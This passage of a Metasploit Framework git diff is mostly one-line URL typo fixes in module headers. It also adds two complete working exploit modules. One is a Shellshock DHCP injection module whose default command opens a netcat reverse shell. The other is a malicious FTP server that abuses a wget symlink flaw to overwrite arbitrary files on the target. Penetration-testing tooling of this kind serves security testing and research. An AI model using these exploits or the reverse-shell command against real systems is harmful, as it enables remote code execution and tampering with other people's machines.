requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 24c8b08f4b..82d13dc22a 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 0dc8e239cd..2a6b348efc 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index a726bfe2af..2ba5857eff 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index f0739335af..8c08bf33d4 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 3f61aaa865..185ae0466d 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index d340a28d59..4b108dde34 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 44c864b4f0..7140aac85e 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index c0cb1b1dc2..74d1e6cbf2 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index cf55c77f0e..9987f56a54 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb new file mode 100644 index 0000000000..79bc17ab4d --- /dev/null +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DHCPServer + + def initialize + super( + 'Name' => 'DHCP Client Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting dhclient network configuration + scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options. + }, + 'Author' => + [ + 'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module + 'Stephane Chazelas', # Vulnerability discovery + 'Ramon de C Valle' # This module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => [ + ['CVE', '2014-6271'], + ['CWE', '94'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649',], + ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',] + ], + 'DisclosureDate' => 'Sep 24 2014' + ) + + register_options( + [ + OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) + ], self.class) + + deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') + end + + def run + value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}" + + hash = datastore.copy + hash['DOMAINNAME'] = value + hash['HOSTNAME'] = value + hash['URL'] = value + + # This loop is required because the current DHCP Server exits after the + # first interaction. + loop do + begin + start_service(hash) + + while @dhcp.thread.alive? + select(nil, nil, nil, 2) + end + + rescue Interrupt + break + + ensure + stop_service + end + end + end + +end diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index d6de6f90df..65aad4275c 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary 'DefaultAction' => 'Service' ) - register_options( - [ - OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), - OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), - OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), - OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]), - OptString.new('ROUTER', [ false, "The router IP address" ]), - OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]), - OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]), - OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]), - OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]), - OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ]) - ], self.class) end def run diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb index ea8643a9f5..1fda7a81a6 100644 --- a/modules/auxiliary/server/dns/spoofhelper.rb +++ b/modules/auxiliary/server/dns/spoofhelper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb index f61fa4b607..4d0e71f631 100644 --- a/modules/auxiliary/server/fakedns.rb +++ b/modules/auxiliary/server/fakedns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb index a365154600..c6bb913e8a 100644 --- a/modules/auxiliary/server/ftp.rb +++ b/modules/auxiliary/server/ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index dc41935c48..00513ca20d 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb index eee8afd461..0e03d8aa13 100644 --- a/modules/auxiliary/server/icmp_exfil.rb +++ b/modules/auxiliary/server/icmp_exfil.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb index f24a46fedf..e0a93263cd 100644 --- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb +++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/pxexploit.rb b/modules/auxiliary/server/pxexploit.rb index 8570da9da4..86db0e5c4c 100644 --- a/modules/auxiliary/server/pxexploit.rb +++ b/modules/auxiliary/server/pxexploit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/socks4a.rb b/modules/auxiliary/server/socks4a.rb index f70e2032f3..1695eeb3e2 100644 --- a/modules/auxiliary/server/socks4a.rb +++ b/modules/auxiliary/server/socks4a.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index 02444e8749..da8cbb12a4 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb index d21ad0002d..92466df2ee 100644 --- a/modules/auxiliary/server/tftp.rb +++ b/modules/auxiliary/server/tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index 3a65957de4..c46d0dc197 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/wget_symlink_file_write.rb b/modules/auxiliary/server/wget_symlink_file_write.rb new file mode 100644 index 0000000000..3e692c7196 --- /dev/null +++ b/modules/auxiliary/server/wget_symlink_file_write.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::FtpServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access', + 'Description' => %q{ + This module exploits a vulnerability in Wget when used in + recursive (-r) mode with a FTP server as a destination. A + symlink is used to allow arbitrary writes to the target's + filesystem. To specify content for the file, use the + "file:/path" syntax for the TARGET_DATA option. + + Tested successfully with wget 1.14. Versions prior to 1.16 + are presumed vulnerable. + }, + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [['Service']], + 'PassiveActions' => ['Service'], + 'References' => + [ + [ 'CVE', '2014-4877'], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ] + ], + 'DefaultAction' => 'Service', + 'DisclosureDate' => 'Oct 27 2014' + ) + + register_options( + [ + OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), + OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), + OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121]) + ], self.class) + + @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) + end + + def run + my_address = Rex::Socket.source_address + print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/") + exploit() + end + + def on_client_command_user(c,arg) + @state[c][:user] = arg + c.put "331 User name okay, need password...\r\n" + end + + def on_client_command_pass(c,arg) + @state[c][:pass] = arg + c.put "230 Login OK\r\n" + @state[c][:auth] = true + print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...") + end + + def on_client_command_retr(c,arg) + print_status("#{@state[c][:name]} -> RETR #{arg}") + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + unless arg.index(::File.basename(datastore['TARGET_FILE'])) + c.put "550 File does not exist\r\n" + return + end + + conn = establish_data_connection(c) + if not conn + c.put("425 Can't build data connection\r\n") + return + end + + c.put("150 Opening BINARY mode data connection for #{arg}\r\n") + conn.put(datastore['TARGET_DATA']) + c.put("226 Transfer complete.\r\n") + conn.close + + print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}") + end + + def on_client_command_list(c,arg) + + print_status("#{@state[c][:name]} -> LIST #{arg}") + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + conn = establish_data_connection(c) + if not conn + c.put("425 Can't build data connection\r\n") + return + end + + pwd = @state[c][:cwd] + buf = '' + + dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y") + unless pwd.index(@fakedir) + buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n" + buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n" + else + buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n" + end + + c.put("150 Opening ASCII mode data connection for /bin/ls\r\n") + conn.put("total #{buf.length}\r\n" + buf) + c.put("226 Transfer complete.\r\n") + conn.close + end + + def on_client_command_size(c,arg) + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + c.put("213 #{datastore['TARGET_DATA'].length}\r\n") + end + + + def on_client_command_cwd(c,arg) + + print_status("#{@state[c][:name]} -> CWD #{arg}") + + if not @state[c][:auth] + c.put "500 Access denied\r\n" + return + end + + upath = "/" + npath = ::File.join(@state[c][:cwd], arg) + bpath = npath[upath.length, npath.length - upath.length] + + # Check for traversal above the root directory + if not (npath[0, upath.length] == upath or bpath == '') + bpath = '/' + end + + bpath = '/' if bpath == '' + @state[c][:cwd] = bpath + + c.put "250 CWD command successful.\r\n" + end +end diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb index b0135f5b42..087e30c9d5 100644 --- a/modules/auxiliary/server/wpad.rb +++ b/modules/auxiliary/server/wpad.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index 90a82a9127..d2551d6e13 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'pSnuffle Packet Sniffer', - 'Description' => 'This module sniffs passwords like dsniff did in the past', - 'Author' => 'Max Moser <mmo@remote-exploit.org>', + 'Description' => 'This module sniffs passwords like dsniff did in the past', + 'Author' => 'Max Moser <mmo[at]remote-exploit.org>', 'License' => MSF_LICENSE, 'Actions' => [ diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 0a6ef7647a..c5c58d8d18 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index 2b6de28697..7c02c08943 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 3b5f36b44b..252269ec00 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index 6ca8d1304d..e6b76e176e 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 446f23578f..6f6070401d 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 7da8178408..4a7123fd56 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 0058addf2d..2b1cd69b59 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index 44d73bf2a7..def36c2ce2 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index 9c16d7707e..c3b8fc60cd 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index 63bdd8b76e..86bf54e60d 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb index 202befbdb4..ec27e9811d 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb index e5616de2fa..7b91469936 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb index 5216cb7929..c0022ed351 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb index 6ed8fa565b..f4fb58a5de 100644 --- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb +++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb index 3906ffe09b..d7d10f96fc 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb index e70df852be..d37f8afa39 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb index 1ce44bfc12..e6a178033c 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index 0e35b2d3d7..e26375ae12 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb index 36b3451950..e3df57ecb9 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb index fa48c826db..4ecfd3accb 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index 72e727a771..98f0146f9e 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 1599496dd1..612a13096d 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index 5d08084d13..70cdbb48b4 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index d95428a42a..df6c3edd5f 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb index 91ae115d03..d97591d2da 100644 --- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 10c985db9e..1b77779fba 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb index 1a9ad5db04..1369b7b231 100644 